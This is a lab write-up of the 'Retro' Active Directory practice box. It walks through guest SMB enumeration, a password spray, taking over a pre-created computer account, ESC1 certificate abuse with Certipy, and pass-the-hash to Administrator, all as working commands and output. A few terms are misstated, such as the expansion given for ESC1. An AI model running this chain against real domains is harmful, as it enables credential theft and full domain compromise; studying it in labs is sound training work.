Post

Retro VulnHub WriteUp

Retro is an easy-rated VulnHub box where we chained privileges from an SMB guest login, changed the password of a pre-created computer account, and exploited the ESC1 ADCS vulnerability to escalate privileges and request certificates on behalf of any user, including privileged accounts.

Retro VulnHub WriteUp
PlatformVulnLab
Target IP10.10.99.43
OSWindows
SeverityEasy

Enumeration

I started with a quick nmap scan which gave the below result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
nmap -Pn -A 10.10.99.43 -oN nmap_out                                                                                           ─╯
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-24 10:23 IST
Nmap scan report for 10.10.99.43
Host is up (0.15s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-24 04:55:17Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2025-04-24T04:37:13
|_Not valid after:  2026-04-24T04:37:13
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2025-04-24T04:37:13
|_Not valid after:  2026-04-24T04:37:13
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2025-04-24T04:37:13
|_Not valid after:  2026-04-24T04:37:13
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2025-04-24T04:37:13
|_Not valid after:  2026-04-24T04:37:13
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.retro.vl
| Not valid before: 2025-04-23T04:45:59
|_Not valid after:  2025-10-23T04:45:59
|_ssl-date: 2025-04-24T04:56:39+00:00; -1s from scanner time.
| rdp-ntlm-info:
|   Target_Name: RETRO
|   NetBIOS_Domain_Name: RETRO
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: retro.vl
|   DNS_Computer_Name: DC.retro.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-04-24T04:56:00+00:00
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-04-24T04:56:04
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.76 seconds

The scan results confirmed the presence of a Domain Controller (DC). To ensure proper hostname resolution, I manually added the following entries to /etc/hosts:

1
echo "10.10.99.43 DC.retro.vl retro.vl" | sudo tee -a /etc/hosts

With no valid credentials available, I proceeded with unauthenticated enumeration techniques, focusing on, Guest login and the null sessions.

1
nxc smb retro.vl -u 'Guest' -p '' --shares 

The Trainee share caught my eye, so I decided to take a look at what it had. I used smbclient.py from the Impacket toolkit, logging in as a guest without any password. However one can also use smbclient or smbclient-ng (with better navigation) as well.

1
smbclient.py 'Guest@retro.vl' -no-pass

There was a file named Imporatant.txt which contains below text:

1
2
3
4
5
6
7
8
9
Dear Trainees,

I know that some of you seemed to struggle with remembering strong and unique passwords.
So we decided to bundle every one of you up into one account.
Stop bothering us. Please. We have other stuff to do than resetting your password every day.

Regards

The Admins

This suggests that multiple users might be sharing the same password—or even using the same value for both username and password. Additionally, it looks like there could be users with usernames like Trainees and possibly Admins.

So, I decided to enumerate more users from an unauthenticated user’s perspective. I used the goldmine tool nxc, though you can also use lookupsid.py from the Impacket toolkit.

1
nxc smb retro.vl -u 'Guest' -p '' --rid-brute

I created a potential users.txt file containing all the possible usernames, and tried the password spray attack.

1
nxc smb retro.vl -u users.txt -p users.txt --continue-on-success --no-bruteforce                                        

It’s a good practice to include the --no-bruteforce flag. This ensures that only one password is tried across all users, helping to avoid account lockouts and making the activity more controlled and safe.

Initial Access

We found a valid credentials trainee:trainee let’s enumerate the shares it has access to.

1
smbclientng -d "retro.vl" -u 'trainee' -p 'trainee' --host 10.10.99.43

We got an another note ToDo.txt containing the following text:

1
2
3
4
5
6
7
8
9
Thomas,

after convincing the finance department to get rid of their ancienct banking software
it is finally time to clean up the mess they made. We should start with the pre created
computer account. That one is older than me.

Best

James

The note mentions Thomas and James, indicating that they are likely real individuals within the organization and could be valid usernames to explore further in our attack chain. It also hints at a pre-created computer account that might be worth looking into.

During a quick Google search, I came across an excellent article by TrustedSec. It explains that when administrators pre-create computer accounts and select the “Assign this computer account as a pre-Windows 2000 computer” option, the system sets the password to the computer’s name in lowercase (e.g., DavesLaptop$ becomes daveslaptop). If the account is never actually used, this default password remains unchanged—creating a potential security risk.

It reminds me of the computer account we discovered during the rid-brute phase, which was BANKING$. According to the article, the password for this account should be banking (in lowercase). Let’s attempt the login with the potential credentials.

1
2
3
nxc smb retro.vl -u 'BANKING$' -p 'banking'                                                                            
SMB         10.10.99.43     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB         10.10.99.43     445    DC               [-] retro.vl\BANKING$:banking STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT

We did not succeed the authentication however the error message STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT suggests that the BANKING$ account is a machine trust account (i.e., a computer account in Active Directory) and these accounts are typically not used for user logins.

After reading the TrustedSec article again, I got the idea to change the password for the computer account using either Changepassword.py or kpasswd. I decided to try kpasswd because it allows us to change the password of a machine account (like BANKING$) using Kerberos authentication, which helps bypass any issues with SMB-based logins.

To do this we need to generate a krb5.conf file again nxc for the rescue. Got an reference from the NXC wiki about the generation of krb5.conf file using the --generate-krb5-file flag.

1
nxc smb retro.vl -u 'BANKING$' -p 'banking' --generate-krb5-file krb5.conf

It created a file with the below content which I further copied to /etc/krb5.conf path.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = RETRO.VL

[realms]
    RETRO.VL = {
        kdc = dc.retro.vl
        admin_server = dc.retro.vl
        default_domain = retro.vl
    }

[domain_realm]
    .retro.vl = RETRO.VL
    retro.vl = RETRO.VL

Let’s try to change the password using kpasswd but it resulted into some error:

1
2
3
kpasswd BANKING$                                                                                                        
BANKING$@RETRO.VL's Password:
kpasswd: krb5_get_init_creds: unable to reach any KDC in realm RETRO.VL, tried 1 KDC

The error indicates that the KDC (Key Distribution Center) cannot be reached, it may mean that the target server is not reachable or that there are network connectivity issues preventing communication with the KDC. Kerberos authentication is time-sensitive, meaning both the client and the KDC (Key Distribution Center) need to have synchronized clocks for authentication to succeed.

To overcome the issue, I used the sntp command on my Mac system to synchronize the system time with the NTP server at retro.vl (IP: 10.10.99.43). This adjusted my system clock, aligning it with the KDC’s time, which is important for Kerberos authentication to work correctly. After running the command, the system time was in sync, and the password change process using kpasswd went through successfully.

For Linux users, a similar solution can be achieved by using ntpd or chrony to synchronize the system clock with an NTP server, ensuring that the time is in sync with the Kerberos server, allowing easy authentication.

1
2
3
4
5
6
sudo sntp -sS retro.vl

kpasswd 'BANKING$'
BANKING$@RETRO.VL's Password:
New password:
Re-enter new password:

Successfully authenticated with Banking$:sidhere!

Privilege Escalation (ADCS)

To escalate privileges further, I decided to enumerate Active Directory Certificate Services (ADCS) within the environment. ADCS can often present misconfigurations that are exploitable for privilege escalation, especially in environments where certificate templates allow low-privileged users to request certificates with elevated permissions.

I used the nxc tool to query the domain for ADCS-related objects:

1
2
3
4
5
6
nxc ldap retro.vl -u 'BANKING$' -p 'sidhere!' -M adcs                                                                   
LDAP        10.10.99.43     389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:retro.vl)
LDAP        10.10.99.43     389    DC               [+] retro.vl\BANKING$:sidhere!
ADCS        10.10.99.43     389    DC               [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.10.99.43     389    DC               Found PKI Enrollment Server: DC.retro.vl
ADCS        10.10.99.43     389    DC               Found CN: retro-DC-CA

This confirms that ADCS is deployed in the domain, and the CA (Certificate Authority) identified is retro-DC-CA, hosted on the domain controller. This is a potential attack surface, so the next logical step is to perform a deeper enumeration using Certipy, a powerful tool for assessing ADCS configurations and identifying exploitable certificate templates.

1
certipy find -u 'Banking$@retro.vl' -p 'sidhere!' -dc-ip 10.10.99.43 -vulnerable -enabled -stdout                       

Complete Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'retro-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'retro-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'retro-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'retro-DC-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : retro-DC-CA
    DNS Name                            : DC.retro.vl
    Certificate Subject                 : CN=retro-DC-CA, DC=retro, DC=vl
    Certificate Serial Number           : 7A107F4C115097984B35539AA62E5C85
    Certificate Validity Start          : 2023-07-23 21:03:51+00:00
    Certificate Validity End            : 2028-07-23 21:13:50+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : RETRO.VL\Administrators
      Access Rights
        ManageCertificates              : RETRO.VL\Administrators
                                          RETRO.VL\Domain Admins
                                          RETRO.VL\Enterprise Admins
        ManageCa                        : RETRO.VL\Administrators
                                          RETRO.VL\Domain Admins
                                          RETRO.VL\Enterprise Admins
        Enroll                          : RETRO.VL\Authenticated Users
Certificate Templates
  0
    Template Name                       : RetroClients
    Display Name                        : Retro Clients
    Certificate Authorities             : retro-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : None
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 4096
    Permissions
      Enrollment Permissions
        Enrollment Rights               : RETRO.VL\Domain Admins
                                          RETRO.VL\Domain Computers
                                          RETRO.VL\Enterprise Admins
      Object Control Permissions
        Owner                           : RETRO.VL\Administrator
        Write Owner Principals          : RETRO.VL\Domain Admins
                                          RETRO.VL\Enterprise Admins
                                          RETRO.VL\Administrator
        Write Dacl Principals           : RETRO.VL\Domain Admins
                                          RETRO.VL\Enterprise Admins
                                          RETRO.VL\Administrator
        Write Property Principals       : RETRO.VL\Domain Admins
                                          RETRO.VL\Enterprise Admins
                                          RETRO.VL\Administrator
    [!] Vulnerabilities
      ESC1                              : 'RETRO.VL\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication

It was identified that the certificate template RetroClients is vulnerable to the ESC1 (Enrollment Services Configuration #1) misconfiguration. This means low-privileged users, like our machine account BANKING$, can request a certificate for any user—including privileged ones—without proper validation, potentially allowing for privilege escalation within the domain.

When I tried requesting a certificate on behalf of the administrator using the vulnerable RetroClients template, I ran into an error stating that the request didn’t meet the minimum key size requirement. By default, Certipy generates a 2048-bit key, but it seemed like the template was configured to require a larger key.

1
certipy req -u 'BANKING$'@retro.vl -p 'sidhere!' -ca retro-DC-CA -template RetroClients -upn Administrator -target dc.retro.vl 

I got the following error while trying to request the certificate:

1
Got error while trying to request certificate: code: 0x80094811 - CERTSRV_E_KEY_LENGTH - The public key does not meet the minimum size required by the specified certificate template.

This clearly pointed to an issue with the key size in the request. To confirm, I went back and reviewed the initial output from Certify, and found that RetroClients template had its minimum key length set to 4096 (line number 55 ). That explained why the default 2048-bit key from Certipy was being rejected. Therefore let’s retry again with specifying the -key-size value.

1
certipy req -u 'BANKING$'@retro.vl -p 'sidhere!' -ca retro-DC-CA -template RetroClients -upn Administrator -target dc.retro.vl -key-size 4096

Let’s use the administrator.pfx file generated above to authenticate against the domain and obtain a ticket-granting ticket (TGT), which will provide us with administrative privileges.

1
2
3
4
5
6
7
8
9
certipy auth -dc-ip 10.10.99.43 -domain retro.vl -username Administrator -pfx administrator.pfx                              
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@retro.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@retro.vl': aad3b435b51404eeaad3b435b51404ee:252fac7066d93dd009d4fd2cd0368389

At this point, we had successfully obtained the NTLM hash for the Administrator account. With this in hand, I decided to authenticate to the target system using evil-winrm. Since we have the hash, we can use it for pass-the-hash authentication:

1
evil-winrm -i 10.10.99.43 -u Administrator -H 252fac7066d93dd009d4fd2cd0368389

This allowed us to gain an interactive shell as Administrator, effectively achieving full domain compromise. From here, we can take it a step further by performing a DCSync attack or even dumping the NTDS.dit hashes, giving us complete control over all user credentials within the domain.

Bonus

I found ADCS very interesting; however, it’s a bit lengthy to go through all the commands. I created an automated script that takes care of everything. It will automatically find the vulnerable template, request the TGS, dump the NTLM hash of the administrator account, and verify the login with NXC. (This script also handles the edge case of the key-size issue.) You can check out the esc1.py script here.

Final Thoughts

The Retro VulnHub machine was a super fun, where I learned a lot about exploiting Active Directory misconfigurations. The machine involved techniques like enumerating SMB shares to identify weak passwords, exploiting a pre-created computer account with enrollment rights, and executing the ESC1 vulnerability to request certificates on behalf of any user. Additionally, I gained hands-on experience with tools like Certipy for certificate-based attacks and gaining full domain control. This machine was particularly valuable for understanding how misconfigurations in ADCS can be leveraged for privilege escalation, making it an excellent challenge for anyone looking to improve their skills in Active Directory exploitation.

Keep hacking, keep learning, and most importantly—stay ethical! 😊

References:

This post is licensed under CC BY 4.0 by the author.